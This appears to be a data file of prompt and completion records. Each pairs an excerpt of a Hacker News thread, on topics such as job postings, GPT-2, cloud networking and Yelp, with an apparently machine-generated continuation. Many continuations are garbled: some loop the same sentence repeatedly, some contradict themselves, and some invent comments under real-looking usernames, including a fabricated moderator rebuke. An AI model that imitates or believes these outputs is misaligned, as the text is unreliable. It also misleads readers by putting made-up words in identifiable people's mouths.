are into computers and technology. Dweebs are the ones\nwho are into video games and other nerdy things. Nerds are the ones who are\ninto science and math.\n\nI think the author is trying to say that nerds are the ones who are into\nscience and math.\n\n~~~\npasabagi\nI think that's a good way to think about it.\n", "input_text": ", is not because of discrimination\nor sexism, but because females aren't in an environment that cultivates the\nnecessary skills. This is not necessarily something that requires intervention\nfrom educators, or politicians. It's something that teenagers need to value,\nand to appreciate.\n\nWhen i was a young lad, anti-intellectualism was a religion, and was heavily\npracticed in the social fabric i was required to navigate. I'm unsure if that\ntrend has been corrected, but i am sure that we're seeing the side effect of\nthat in the professional landscape with the amount of qualified females with\nan interest in the STEM fields.\n\n \nThe Nerd as the Norm - paulpauper\nhttps://everythingstudies.com/2017/11/07/the-nerd-as-the-norm/\n======\nMysterix\nFrom the first link, this part is so relatable :\n\n\"They'll stop going to the company picnic if it becomes an occasion for\neveryone to list all the computer problems they never bothered to mention\nbefore.\"\n\n------\npasabagi\nI don't really think his concept of a nerd works, since he lumps in lots of\nextraneous charateristics and values.\n\nI think a more explanatory description would be, a nerd is somebody who is\nprimarily interested in technical questions. That predisposes nerds to avoid\nambiguity - but by no means excludes nerds like literature professors, who are\nabsolutely obsessed with ambiguity.\n\nIt's generally a better idea to categorise people by priorities, as opposed to\npreferences - since preferences tend to be very variable.\n\n~~~\nnickthemagicman\nI think there's several sub-categories in the nerd culture. Geeks, Dweebs"} +{"output_text": "\n\\- junior.. senior frontend developer. Experience with EmberJS, React,\nTypescript is preferred, experience with ethereum would be nice\n\n\\- junior.. senior full stack developer. Experience with Python, Django, DRF,\nEmberJS, React, Typescript is preferred, experience with ethereum would be\nnice\n\nIf you're interested, please send an email to jobs@guts.ticket with your CV\nand a short intro about yourself.", "input_text": " other languages (Java, Node, etc).\n\nWe provide risk analysis based on email addresses and other information for\nmajor financial institutions, airlines and other industries.\n\nMore information:\n[https://blog.emailage.com/jobs/](https://blog.emailage.com/jobs/)\n\n------\nvldr\nGUTS Tickets | Junior.. Senior Full stack developer | Amsterdam, The\nNetherlands | (partial) Onsite \u20ac35k-\u20ac70k p.a. depending on experience, part-\ntime/full-time\n\nAre you a developer who loves live music? And do you want to join the ticket\nrevolution? At GUTS we\u2019re not only building a product, but as a team we\nchasing a common goal: Stop disgraceful secondary ticket prices and ticket\nfraud. We don\u2019t work to punch out a time card, we work hard to give fans what\nthey deserve. GUTS is a ticketing system which uses blockchain technology to\nregister ownership of SMART-tickets. GUTS makes ticket fraud impossible. The\nticket can only be (re)sold at a fixed price, so no more disgraceful prices\nfor secondary tickets.\n\nGUTS Tickets is hiring frontend and backend junior / senior developers! We\nhave about 2 to 3 positions to fill depending on experience and flexibility of\nthe developers.\n\nOur current stack consists of\n\n\\- Python 3.5 / Django / Django Request Framework - Ethereum / solidity /\nblockchain technology\n\n\\- EmberJS (2.10)\n\n\\- react native\n\nTo expand our team we're hiring for different roles:\n\n\\- junior.. senior backend developer. Experience with Python, Django, DRF is\npreferred, experience with ethereum would be nice\n"} +{"output_text": " The model is not a general intelligence, but it is a general intelligence\n> that is not concentrating.\n\nI don't think this is true. I think the model is a general intelligence that\nis not concentrating on a specific task.\n\n~~~\nandreyk\nI think you are right, but I think the point is that it is not general\nintelligence in the sense that it is not capable of general intelligence.\n\n------\nm0zg\nI'm not sure", "input_text": "https://srconstantin.wordpress.com/2019/02/25/humans-who-are-not-\nconcentrating-are-not-general-intelligences/)\n\n~~~\nandreyk\nFor some context, as noted at top of article we re-posted it with permission\nsince the release of the larger GPT2 model led to a new slate of fearful\narticles on the topic and this has remained one of the best takes on it. Was\nnot aware it was already upvoted a bunch on HN before though, cool to see.\n\n~~~\nlostmsu\nThe guideline on HN is to use original link whenever possible.\n\nThe link should be changed.\n\n~~~\nandreyk\nah, whoops, was not aware. Seems I can't change the link, maybe mods can or\ncan just delete.\n\n------\nJackFr\nMakes me think of \"Hook\" by Blues Traveler:\n\n \n \n It doesn't matter what I say\n So long as I sing with inflection\n That makes you feel I'll convey\n Some inner truth or vast reflection\n But I've said nothing so far\n And I can keep it up for as long as it takes\n And it don't matter who you are\n If I'm doing my job then it's your resolve that breaks\n\n------\nxtiansimon\nNow if GPT-2 could write yet another beginner Python lists and tuples blog\npost, I prolly wouldn\u2019t notice. If it could write a description which helped\nme to get my head around my client\u2019s Swagger API I would be thrilled. No one\nreally has the time nor patience to explain it to me in a way that clicks.\n\n------\nEchoAce\n>"} +{"output_text": " been a very different person.\n\n~~~\nkrapp\n>Einstein is the best example of this.\n\nI don't think that's true. Einstein was a very logical person, but he was also\na very emotional person. He was a very logical person who was also a very\nemotional person.\n\n~~~\nTangoTrotFox\nI think you're right. I think that's the key. Einstein was a very logical\nperson who was also a", "input_text": " schizotypal.\n\nThere IS actually a proven connection between schizotypal traits and\ncreativity where there really isn't with mood disorders (except bipolar to an\nextent), since you're \"mad\" but not so much so that you can't function well\nenough to execute your ideas. It's worth googling about.\n\n------\njpeg_hero\nArticle and \u201cmeta-research\u201d distinctly not related to genius.\n\nGenius is a distinctly one-in-a-million phenomenon, this is about people of\nabove average creativity and how they relate to those of below average\ncreativity. And very dubious categorization at that.\n\n~~~\naje403\nI don't know why you're getting downvoted, you're right (although the\ndefinition of 'genius' is always up for debate). This is just one of a million\nopinion articles on the same questions which happens to have a regression line\nbehind it.\n\n------\nTangoTrotFox\nSpeaking of the stereotype of'mad genius', as opposed to the eccentric\ncreative which this article is about, I would hypothesize that'mad' is simply\na mislabeling of the fact that those who are more intelligent are _generally_\ngoing to be less guided by social norms and more by their own logic and views.\nBeing able to follow your own logic, without bounds, is something that is most\npeople, for some reason, do not tend to do.\n\nEinstein is the best example of this. Relativity, and its implications, are\nintuitively insane and absurd. Yet his logic led him there and he invested an\nimmense amount of effort and energy trying to prove it. And it turned out he\nwas correct. In a parallel universe where the laws of physics are more sane,\nEinstein would have"} +{"output_text": ") and\nprovide a standard way to get inventory data from the backends.\n\n------\njoshu\nI wonder if this is a good time to start a company that does this.\n\n~~~\njoshu\nI'm not sure if this is a good time to start a company that does this.\n\n------\njoshu\nI wonder if this is a good time to start a company that does this.\n\n~~~\njoshu\nI'm", "input_text": "\n\n\"Our model doesn't work.. we're heads down trying to see if anyone will buy us\nor if we can come up with a completely new idea. If someone will fund us\nduring this time; That'll be really cool.\"\n\n------\npsadri\n'Buy' buttons can make a big difference, specially on mobile. Most retailer's\nmobile web experience is horrible, specially their checkout flows.\n\nAn inline 'Buy' button can increase conversion rates anywhere from 2-5x which\nis huge and a win-win for everyone involved:\n\nUser: better experience Publisher: higher revenue (CPA) Retailer: more sales\n\n------\njohansch\nI don't have kids, but I could imagine families that do have kids to expect a\nwhole lot of unexepected shipments of stuff if this pattern gets widely\nimplemented.\n\n~~~\nnhebb\nCan confirm. It's happened to us with Amazon one click. My wife stepped away\nfrom the computer and within a few minutes my then 3 year-old had ordered a\ngame. The situation will be comical when kids can order directly via Google\nsearches.\n\n------\ndigisth\n\"Among the challenges these Goliaths face is integrating inventory and\npayments systems from retailers big and small that have little experience\nselling stuff outside of their own storefronts.\"\n\nSeems like there could be an opportunity for a service to act as a broker;\nthey could act as a go-between for inventory related tasks and services\nbetween the front-ends (Pinterest, FB) and the backends (retailer APIs.)\nProvide a standard API on both ends (so retailers can update prices, number in\nstock, tax and such, and front-ends can push buys and get updates"} +{"output_text": " to be more tolerant of other people's opinions, they\nseem to be less tolerant of other people's actions.\n\nI'm not sure why.\n\n~~~\njrockway\nI think it's because Americans are more likely to be the victims of\ndiscrimination.\n\n~~~\nwisty\nI think it's because Americans are more likely to be the victims of\ndiscrimination.\n\nI'm not sure why.\n\n~~~\njrockway\nI", "input_text": "\nwhat keeps the outrage mob mollified, I've closed my account and have been\nhelping website operating on the dissident right to transition away from a\nsystem that might deny them service on a fit of whimsy. Paypal, like so many\nother platforms, has become too unreliable to be a single point of failure.\n\nAll of these institutions were, until the last few years, treated like\nutilities - which bolstered their reputation for reliability. But now, so many\nof these giant Near-Monopolies have decided to become overtly political,\ndenying their services without any manner of due process or even a reasonable\namount of notice to the people being cast off. This damages the brand\nreliability, and where once customers could rely on their Registrar, Host, or\nPayment Processor, they now must consider it imperative to have redundant\nsystems - lest they risk having their service cut because they suddenly find\nthemselves on the bad side of \"the fashionable opinion\" of the hour. (Goal-\nposts that move by the hour, and today's cleric of the faith can easily find\nthemselves tomorrow heretic).\n\nA high-trust business environment is required to maintain the sorts of\nbusiness relationships a content creator enters into with a\nplatform/host/registrar. The fact is, as it stands now, no content creator,\nbusiness or group can trust these tech-corporations to maintain a stable\nrelationship - or even adhere to a basic contract - in good faith. Once a\ncompany - like PayPal for instance - has proven itself unreliable, it has\nalready done half the work of replacing itself.\n\n------\nStuntPope\nArticle flagged. Nice. Love the tolerance and receptiveness to discussion\nhere.\n\n------\nwisty\nWhile Americans seem"} +{"output_text": " reflection, I think I was just trying to be\nclever.\n\n------\njrockway\nI don't know if this is true, but I've heard that the \"I'm a programmer\"\nquestion is a red flag for recruiters.\n\n~~~\njrockway\nI'm not sure if this is true, but I've heard that the \"I'm a programmer\"\nquestion is a red flag for recruiters.\n\n~~~\njrockway\n", "input_text": " terror, particularly of the US ICE people, who are\nunnecessarily militarized at the best of times. But why the puerile jab at the\nofficer's \"educational attainment\"? Needed to feel big? Story wasn't \"punchy\"\nenough?\n\n~~~\nseldo\nPartly because I think it's a relevant detail -- I think he genuinely didn't\nunderstand that a web developer is a type of software developer. But partly\nbecause they scared the shit out of me, and the system is stupid and\nunnecessarily hostile, so, yes, I'm angry at them.\n\n~~~\njfb\nIt's not only insulting and juvenile, it's irrelevant. I've met PhDs from the\nLSE who wouldn't know the difference between email and snail mail, but that's\nnot material to a) how good they were at their jobs or b) whether or not they\nwere good people.\n\nThe system _is_ stupid, and hostile, and (in my opinion) totally self-\ndefeating. And people -- normal, decent people -- will act like petty little\ntyrants in that sort of system. Isn't _that_ sufficient to call them out? An\nasshole is an asshole, regardless of their eduction, no?\n\n _EDIT_ : Too, it may very well be material that you gave a different answer.\nThere's only one word different between \"landscape architect\" and \"naval\narchitect\", and those are significantly and materially different positions.\nHow is J. Random Tyrant supposed to know that a is a member of the set b for\nall given a?\n\n _EDIT the second_ : Man, I was in love with the word \"material\", eh?\n\n~~~\nseldo\nYou're not wrong. On further"} +{"output_text": " around forever but it's just recently become\npopular. What's the secret?\n\n~~~\njoshuamorton\nI think it's because it's a good example of a site that's been around for a\nwhile, but has been neglected.\n\nIt's a good example of a site that's been around for a while, but has been\nneglected.\n\n~~~\ngigatexal\nI think it's because it's a good example of a site", "input_text": "'s not unusual to be\nable to serve 100K requests/ _sec_ if a request never needs to touch disk (see\neg. the JSON serialization test on the TechEmpower benchmarks, on physical\nhardware [2] - top frameworks can get 500K request/sec on a hello-world\nserialization task). They're also stupidly fast at serving static files\n(which, if the server is implemented right, can be served straight out of the\nfilesystem cache in the kernel without any memory copies through user space).\n100K requests/sec is a budget of 20,000 cycles/request, which is eminently\ndoable if most of the page contents is in RAM (or better yet, cache...on a\nslow day, the entire front page of HN can fit in L3 cache).\n\nThe same approach has been used to good effect on other websites like Google,\nFacebook, PlentyOfFish, Mailinator, etc. Eschew databases, serve out of RAM\n(and now SSDs) entirely.\n\n[1]\n[https://news.ycombinator.com/item?id=8863](https://news.ycombinator.com/item?id=8863)\n\n[2]\n[https://www.techempower.com/benchmarks/#section=data-r14&hw=...](https://www.techempower.com/benchmarks/#section=data-r14&hw=ph&test=json)\n\n~~~\ngigatexal\nThank you so much for the info. Makes sense and helped to scratch the itch I\nwas having for a while now.\n\n \nAsk HN: Why is Quora popular all of a sudden? - senorgusto\nIt seems like Quora has been"} +{"output_text": ", what is the \"character assassination\" of the people\ninvolved?\n\n~~~\nkls\nI am not going to get into the specifics of the deal, but I will say that\nthere was a lot of back and forth and a lot of things that were not disclosed\nto us. I am not going to get into the specifics of the deal, but I will say\nthat there was a lot of back and forth and a lot of things that were not\ndisclosed", "input_text": " of the FDIC) \"sure, you\ncan deposit your money here, we'll probably have some cash around if you ever\nwant to withdrawal it \u2014 maybe!\" Obviously, there are multiple sides to the\nstory, but this is the gist of what I'm interpreting from it thus far.\n\n------\nunconed\nI'm next door to Bootup Labs... all I know is, Hackernews needs to chill out.\nThe people at Bootup, both the startups and management, are great folks who\ncare about tech, care about the community and about innovation. The character\nassassinations of the people involved are unwarranted.\n\nSecuring funding is always hard, and the whole VC scene is crazy. Some\ncompanies get millions thrown at them even though they've been burning cash\nfor years, others have great ideas and just can't secure some pocket change to\nget going. As far as I can see, Bootup is doing a pretty good job.\n\n~~~\nkls\n\\--After everything that we did for you and Steven\n\nEnough said about their attitude towards these individuals. Like they did them\nsome type of favor, business is business and deals fall through all the time,\nbut to then turn it on those guys like they should be grateful for getting\nscrewed is just absurd and then to complain that they did not get anything in\nreturn for paying 2 months rent for the guys. Dan's post reeks of a self\nentitled prick, like he some sort of benevolent god or something and that is\nwhy they are getting their just crucifixion, not because a deal fell through.\n\n \n\nShow HN: Site calculates how long it takes famous authors to write books - batub\nhttp://rabbitwriters.com/\n\n======\ndalke\nOut of curiosity"} +{"output_text": ".\n\n~~~\ntlynchpin\nYou can do cross-account transit with ExpressRoute.\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n\nI've been using Azure for a few years now, and I've been very happy with it.\nBut I've been thinking about moving to AWS for a while now.\n\nI'm not sure if I'm going to do it, but I'm definitely going to be", "input_text": ". Azure however takes all of that 'network' stuff and turns it into this\nabstraction where you have to carefully follow one of their guides to realize\nit's out of date, or the UI doesn't show the appropriate information etc. Also\nyou have Azure network portions that block ICMP because of'security'.\n\nThis is all anecdotal from my experience of course, but it's why I keep\nreferring to Azure as the \"Excel spreadsheet of the cloud\" because the entire\ndesign of it is in your face and non intuitive.\n\nFor instance if I wanted to make a direct connection like DirectConnect to\nmultiple VPC's in AWS, I'd use the Transit Gateway, connect to it from on-\nprem, add the VPC and the route, and be done.\n\nIn Azure, I'd use expressroute, add the Expressroute circuit to a\nSubscription, add a gateway for that, and then an additional gateway for each\nVPC equivalent, create an authorization key for each 'VPC' equivalent and sync\nthem, and then define routing per gateway. Then when you go in to trace the\nnetwork path ICMP is blocked.\n\nI know AWS is more mature than Azure, so it's not entirely fair to criticize\nthem, but every time I touch Azure I miss AWS, or even GCP. Perhaps it's just\nme not being familiar enough with Azure. \u00af\\\\_(\u30c4)_/\u00af\n\n~~~\ntlynchpin\nTransit Gateway was announced at re:invent 2018. That's a few months ago.\nDirectConnect Gateway and Transit VPC were announced the year before. I would\nguess about nobody is currently in production with Transit Gateway.\n\n~~~\ncuriouserrr\nExcept you can\u2019t yet do cross-account transit"} +{"output_text": "://www.david.com](https://www.david.com) | Full-time | Onsite\n\nDavid is a fast-growing, profitable, and mission-driven company. We are\nbuilding the future of online shopping. We are looking for a full-stack\ndeveloper to join our team.\n\nWe are looking for someone who is passionate about building great products and\ndelivering them to our customers. You will be working with a small team of\ndevelop", "input_text": "D=Hacker%20News)\n\nSoftware Engineer ML Infrastructure:\n[https://jobs.lever.co/quora/5ae871e6-12a7-40d2-829a-64041e24...](https://jobs.lever.co/quora/5ae871e6-12a7-40d2-829a-64041e24da42?lever-\norigin=applied&lever-source%5B%5D=Hacker%20News)\n\nPlease submit online at the link above and mention my HN user name. Or email\n\"%sn@quora.com\" % my_HN_user_name\n\n------\nevanjacobs\nAlexa Smart Home | Software Development Engineer (all levels) | Seattle |\nONSITE\n\nWe're focused on making Alexa the UI for the home and we're looking for\nengineers who want to help us in this mission. This is a unique opportunity to\nbe an early member of a team whose work will have a big impact on customers.\nIn order to achieve this mission, you'll get to build a wide variety of\napplications and services using a range of technologies.\n\nHere are just a couple of the positions that I'm hiring for but please feel\nfree to reach out to me (evan @ amazon. com) with any questions:\n\n[https://www.amazon.jobs/en/jobs/478440](https://www.amazon.jobs/en/jobs/478440)\n\n[https://www.amazon.jobs/en/jobs/479984](https://www.amazon.jobs/en/jobs/479984)\n\n------\ngd832\nDavid | San Francisco, CA |\n[https"} +{"output_text": " zombies. Or, they invent a new way to make a new kind of\n> paper. Or, they invent a new way to make a new kind of paper._\n\nI'm not sure what the author is trying to say here. The author is saying that\nthe US is a country of \"cute digital startups\" and \"un-killable zombies\" and\n\"new kinds of paper\" and \"new ways to make a new kind of paper\" and \"32", "input_text": " a reasonable\nequilibrium in all sorts of areas (economy, environment, society). That\nreliance increases with the degree of high-tech, but also provides the\n_benefits_ of high-tech.\n\nA failure of that system can lead to much worse than just a lack of progress.\n\n------\ndelinquentme\nHacker news needs to see more of this.\n\n\"I believe this current crop of entrepreneurs might actually be hurting\nAmerica - and perverting the very idea of innovation in the same way Beyonce\u2019s\nRun The World is like kicking Aretha Franklin in the ribs\u2026repeatedly.\"\n\nRealize that this _IS_ the issue of the fortune 500 companies. Too busy\nworrying about small returns to dig in an innovate.\n\n------\neli_gottlieb\n> _The latest US generation has led a life of leisure. Arab protesters carry\n> swords and machetes, ours carry iPhone 4S\u2019s in pink, personalized cases._\n\nLook dude, if it wasn't quite explicitly against Massachusetts weapons laws, I\nwould go protesting carrying a sword. Also, if someone would teach my\nswordsmanship. And if swords were actually viable weapons in modern times,\nrather than nice symbols of Arabs' chauvinistic, honor-based culture.\n\n> _From computers to desks to chairs used by cute digital startups like Oink\n> or Bizzle or FoSchnizzle, \u2013 it\u2019s all made possible by better, more\n> substantive innovators. This superior breed of entrepreneurs and inventors\n> toils away in relative obscurity, often in Asia, solving real, complex\n> problems. They squeeze 32GB onto something the size of mint strip. Or, they\n> make un-killable"} +{"output_text": "form/aws)\n\n------\njoshstrange\nI've been using Terraform for a few years now and it's been a great tool. I\nhave a few projects that I've used it for and it's been great. I've also used\nit to build a few things and it's been great. I've also used it to build a\ncouple of things and it's been great. I've also used it to build a couple of\nthings and", "input_text": " some courses on AWS for a year and a half. The networking piece is\nsomething that is trivial for any network engineer, but for any developer\n(which is my background) working through the network piece is crucial. It\ntakes a while and this looks like a good reference. However, it's best to also\ncheck out the AWS docs [https://docs.aws.amazon.com/vpc/latest/userguide/what-\nis-ama...](https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-\nvpc.html). They are not always the easiest read, but I find them to be pretty\nauthoritative.\n\nI also like this video [https://www.oreilly.com/library/view/amazon-web-\nservices/978...](https://www.oreilly.com/library/view/amazon-web-\nservices/9781771373944/video217078.html) (part of\n[http://shop.oreilly.com/product/0636920040415.do](http://shop.oreilly.com/product/0636920040415.do)\n). Full disclaimer, I used to work with Jon.\n\n~~~\norangejewce\nThis piece excludes some incredibly common networking complications: VPC\nPeering Connections, VPC Endpoint Services, VPN connections.\n\n------\np4lindromica\nI created a collection of terraform modules that gets a minimal AWS network\nset up for a single-region webapp:\n[https://github.com/lopopolo/hyperbola/tree/master/terraform/...](https://github.com/lopopolo/hyperbola/tree/master/terra"} +{"output_text": " that those who are not aware of Yelp and their tactics are aware of them\nand stop using them.\n\n------\ndang\nPlease don't post like this to HN.\n\n[https://news.ycombinator.com/newsguidelines.html](https://news.ycombinator.com/newsguidelines.html)\n\n~~~\nZenst\nI have no idea what you mean by this, I have posted many times on HN and\n", "input_text": "js ecosystem?\n\n~~~\nkowdermeister\nNothing, WebAssembly targets the browser. Devs who already understand JS could\njust easily pick up Node.\n\n------\nhmans\nAlways.\n\n \nYelp casually exploits coronavirus with charity scam - Zenst\nhttps://www.youtube.com/watch?v=_tIYrjBEczE\n======\nMeph504\nI like Rossmann, but I should have focused on staying on target here. He\nstarts with the info about the shitty fundraiser scheme. But then drifts into\na talking about them not removing fake negative reviews of his business.\nThough the second part is a valid complaint, just seems you shouldn't use this\ncoverage to talk about your personal issues with them.\n\nFor the record, Yelp has been a scummy dumpster fire for years, they try this\nshake down shit with so many small businesses here.\n\n~~~\nZenst\nWhilst you may view them as personal issues - they are experience and not\nunique to him.\n\nYes, does seem many are aware of Yelp being scummy (nice way of putting it),\nbut only those who are more technically aware to see thru their scummy bully\ntactics, tactics that hurt and can destroy a business. Many who are not\ntechnically minded and they equally suffer at their hands without knowing why\nas many users out there are not technically aware and with that will blindly\ntrust those reviews and Yelp and those users are the majority.\n\nNow they are abusing a pandemic to be even more scummy, they need to be held\nto account and shown to those common users what they are about and stopped.\n\nI just want to see fairness and with that, really want to see the word put out\nso"} +{"output_text": " the reason why the US government\ndoesn't have a single standard for credit cards.\n\n~~~\nelie_CH\nI agree, but I think it's a good idea to have a standard.\n\n------\nelie_CH\nFeedback link in the upper band does not work.\n\nPutting in real project offers instead of lorem ipsum certainly would help.\nMost people are using websites like this to look for work. So why would they\nvisit if", "input_text": " to sending money. If they can\nfigure out the secure concern (time will tell) or say it's 100 percent secure,\nit would be quite awesome. I agree, not sure how it prevents spoofing or email\nbeing compromised problem.\n\n~~~\nelie_CH\nIt wasn't that easy for Paypal :)\n[http://ecorner.stanford.edu/authorMaterialInfo.html?mid=1028](http://ecorner.stanford.edu/authorMaterialInfo.html?mid=1028)\n\n \nStorklancer.io FeedBack - sylarruby\nBuilt with Ruby on Rails and Reactjs, Storklancer aims to bring anyone who needs help with a project with developers, programmers and business partner together etc.

Functionality:

* ReactJs Live Search\n* Sendgrid email notification (disabled)\n* Twilio Integration \u2013 SMS notification (disabled)

Your kind feedback would be based on layout, features to add/remove and color. I have many features to add but this is just a starting point.

Web link: http://www.storklancer.io

Many thanks.\nDave\n======\naismail\nFeedback link in the upper band does not work.\n\nPutting in real project offers instead of lorem ipsum certainly would help.\nMost people are using websites like this to look for work. So why would they\nvisit if there's no work in there, regardless of the features they find?\n\nGood luck w/ your project!\n\n \nSimpson's Paradox - mmaia\nhttp://vudlab.com/simpsons/\n======\ntlb\nThe Omitted Variable Problem is part of"} +{"output_text": "finite\" amount of processing power?\n\n~~~\nbillybob\nI think it's both.\n\n------\njamesbritt\n\"The buffalo sentence is a sentence that is grammatically correct, but does\nnot make sense.\"\n\nI think this is a good example of a sentence that is grammatically correct,\nbut does not make sense.\n\n~~~\nbillybob\nI think it's a good example of a sentence that is grammatically correct,", "input_text": " officially buffalo'd\n\n------\nlukev\nThe buffalo sentence may be grammatically valid, but it's not \"valid\" by any\nreal test of human understanding.\n\nChomsky-esque generative grammar can't tell the whole story about human\nlanguage.\n\n~~~\nbillybob\nI think that's the point, actually. The fact that a sentence can be\ngrammatically correct but not logically correct, or be both, but still not\n\"make sense,\" is interesting in itself. It shows how difficult it is to\ndetermine whether a sentence is \"valid\" for speakers of that language.\n\n(Chomsky's classic example of \"grammatical but not logical\" was \"Colorless\ngreen ideas sleep furiously.\")\n\n~~~\nbillybob\nThink of it like this: Chomsky was testing the brain's language parser by\nhanding it weird things and seeing how it reacts. Like you might do with a new\nprogramming language: what happens if I try to add strings, or divide them? Is\nzero true? Is the string \"nil\" true? Is == different from ===? Can I pass a\nfunction into a function?\n\nThe brain's language center is undocumented, so we try throwing potential\nsentences at it and see what works or doesn't, then try to reverse engineer\nwhat it's doing. The buffalo sentence conforms to the rules we know about word\norder, and can be logically explained, but somehow it fails. Finding out why\nis part of the reverse engineering process.\n\n~~~\nlukev\nYes... the interesting question is whether it fails because of a \"rule\" we're\nnot aware of, or because it's simply too complex. The human mind is recursive,\nbut is it simply that it only have a \""} +{"output_text": "% remote?\n\n~~~\njasonlbaptiste\nI'm in NYC. I'm a remote developer. I'm not sure what you mean by 100%\nremote. I'm not sure what you mean by remote.\n\n~~~\nmatthewer\nI'm not sure what you mean by 100% remote. I'm not sure what you mean by\nremote.\n\n------\njasonlbaptiste\nI'm in NYC. I'm a remote developer. I", "input_text": " quants._\n\nI'm including the smart traders who aren't considered quants now but would\nhave been classified as quants 5 years ago.\n\n _How many startups never happen because people have been burned by this, or\nknow people who have been burned by this?_\n\nI haven't heard of it, but it may happen.\n\n------\nMediaSquirrel\nJust to be clear, I'm not hating on investors. I just think that often they\nget a disproportionate amount of credit and glory as compared to the founders\nwho slave away in anonymity for long periods in an effort to create something\nof value. VC's have their place, but it is not at the center.\n\n~~~\napu\nSure, but when you're talking about what makes a place better than another for\nstartups, what matters is not who's more important, but what the limiting\nfactor is.\n\nAnd to me it seems clear that in NYC it's investors, not entrepreneurs. Sure\nthere might be tons of smart & innovative hackers here. But if most of them\naren't going to get funded, then they're gonna move to the Valley.\n\n(I realize more investors could move here/get started here, and it does seem\nto be happening, but they have much more inertia and are rich, so they don't\n_have_ to move, unlike most cash-strapped entrepreneurs looking for the next\nbit of funding that will allow them to really expand.)\n\n------\nmatthewer\nName ten startups that are awesome from NYC off the top of your head. Ten with\nproducts you use at least once a week? I live in NYC, and am happy to see\nthings growing, but NYC is not 'on fire.'\n\n \nAsk HN: How remote is your job? What is missing for 100"} +{"output_text": " be\nobvious.\n\nThe paper is not a design document for a specific system, but rather a\ndiscussion of the tradeoffs that are involved in the design of a system.\n\nThe paper is not a design document for a specific system, but rather a\ndiscussion of the tradeoffs that are involved in the design of a system.\n\nThe paper is not a design document for a specific system, but rather a\ndiscussion of the tradeoffs that are involved in the design", "input_text": " for voting to take place - a late result = a serious fault condition.\n\nSo I don't get why there's this focus on average performance of this algorithm\nrather than looking for a deterministic algorithm with good low bounds. It\nalso seems that the message sizes depends on the algorithm itself: that also\nneeds to be bounded to be able to analyze the communications system to\ndetermine worst-case latencies (this is of course crucial if a static time-\ntriggered communications bus like FlexRay is being used).\n\nThe paper mentions that Linux is used to conduct the tests. But what's the\nactual target platform? A microcontroller with a cyclic schedule or an RTOS\nwith priority pre-emption? If the latter, what does the schedulability\nanalysis look like? If the former, what does the cyclic schedule look like?\n\nWhat's the communications architecture look like? Is it switch-based like\nAFDX? Or a CSMA/CA bus like CAN? Or a TDMA bus like FlexRay? What's the timing\nanalysis look like for the communications?\n\n~~~\nzackpierce\nHello, and thanks for the feedback.\n\nWhat you have described is absolutely the reasonable and traditional approach\nfor designing a solution for a particular critical hard real-time system.\n\nThe context is that broad serialization technology decisions for autonomous\nvehicles are being considered outside of the focused engineering process for\nspecific critical systems. For example, when middleware or integration\nframeworks come up (often with an eye toward being imposed top-down for many\nsystems), consideration of serialization technology and its implications for\nperformance seems to occupy an unfortunately small portion of the analysis.\n\nThis paper attempts to send the relatively simple message that \"yes,\nserialization tech choice matters\" to decision makers for whom it may not"} +{"output_text": "I promise to pay you $X if I get\n$Y\") are not enforceable.\n\nThe only exception is if you have a written contract.\n\n~~~\njoshu\nI think you're right. Bonding agreements are not enforceable.\n\n------\njoshu\nI think the answer is \"yes\".\n\nI think the answer is \"no\".\n\nI think the answer is \"maybe\".\n\nI think the answer is \"no\".\n\n", "input_text": "ammars aren't parsable\nwith regular expressions. You can either waste time trying to write an\nimpossible regex (or write one that works on your tests, but blows up in the\nwild) or you can study automata theory and understand what actually goes on\nunderneath.\n\nAs for the halting problem, I'll leave you this stack overflow explanation for\nwhy it is beneficial to understand.\n\n[http://cs.stackexchange.com/a/32853](http://cs.stackexchange.com/a/32853)\n\nMany problems in CS have already been solved, some are impossible to solve.\nYou can either waste time on trial and error trying to reinvent the wheel or\nyou can study the theoretical underpinnings.\n\nDo you want to spend a week trying to model a problem as a finite state\nmachine, only to determine that finite state machine isn't powerful enough to\nsolve your problem?\n\nDo you want to spend a month banging your head against a wall trying to solve\na problem that you could have solved in 5 minutes had you realized it was just\na well known graph theory problem all along? A problem that was solved decades\nago. The only way to know these things is to study the theory behind what you\ndo.\n\nWhy do you think Civil Engineers are required to take physics? The difference\nbetween an Engineer and an artisan is a rigorous understanding of the formal\nsystem underpinning his work. Artisans build through trial and error and\nexperiences, and they leave many failed projects in their wake while they gain\nthis experience. Engineers use theory and modeling to limit the number of\nfailed projects to the net benefit of everyone involved.\n\n------\nyummyfajitas\nFor the most part, bonding agreements (\""} +{"output_text": "Resume:\n[https://www.linkedin.com/in/salvagedcircuitry](https://www.linkedin.com/in/salvagedcircuitry)\n\nEmail: salvagedcircuitry@gmail.com\n\n------\njames-fend\nLocation: San Francisco, CA\n\nRemote: Yes\n\nWilling to relocate: No\n\nTechnologies: Python, Django, Flask, Javascript, React, React Native,", "input_text": ".google.com/document/d/1MmLa0mhwg9FiuWRYBCcpIvpl8jQuTZxmkPa2QSx9rAc/edit?usp=sharing)\n\n\\- Email: iyimceren@gmail.com\n\n\\- Github: [https://github.com/cereniyim/Data-Science-\nProjects](https://github.com/cereniyim/Data-Science-Projects)\n\n\\- Medium: [https://medium.com/@cereniyim](https://medium.com/@cereniyim)\n\n\\- Linkedin: [https://www.linkedin.com/in/ceren-\niyim](https://www.linkedin.com/in/ceren-iyim)\n\n\\- Kaggle:\n[https://www.kaggle.com/cereniyim](https://www.kaggle.com/cereniyim)\n\nBudding and self-taught data scientist with 6 months of experience in the\nfield. Changed careers from enterprise consulting with the passion for data\nand creating impact. My strengths are in the data wrangling & visualization. I\nam looking for contract/full-time data analyst or scientist roles.\n\n------\nsalvagedcircuit\nElectrical Engineer\n\nRecent projects:\n[https://www.salvagedcircuitry.com](https://www.salvagedcircuitry.com)\n\nLocation: NYC\n\nRemote: No\n\nWilling to relocate: Yes\n\nTechnologies: C++ Html CSS Cadence Virtuoso Quartus KiCad Eagle ModelSim OrCAD\nLTspice TINA-TI PCBdesign Solidworks KeyShot NX Android\n\n"} +{"output_text": "like running, cycling, swimming, etc).\n\n------\njoshu\nI'm not sure what you mean by \"change your social circle\".\n\nI'm not sure what you mean by \"engage in a radical (to you) sport\".\n\nI'm not sure what you mean by \"radical\".\n\n------\njoshu\nI'm not sure what you mean by \"change your social circle\".\n\nI'm not sure what you mean by \"", "input_text": "bp\nMy grandfather was an alcoholic. It came about because of the great sorrow he\nfelt after his own father died in a car accident. A small drink each day\nbecame a larger one. This iterates. Time passes. I remember when he was in\nrehab once, as a child I was brought to visit him. His genuineness was so\nmagnified. He was such a good man sober; well known and loved by many in the\ntown through his small business. He never broke free for long though. 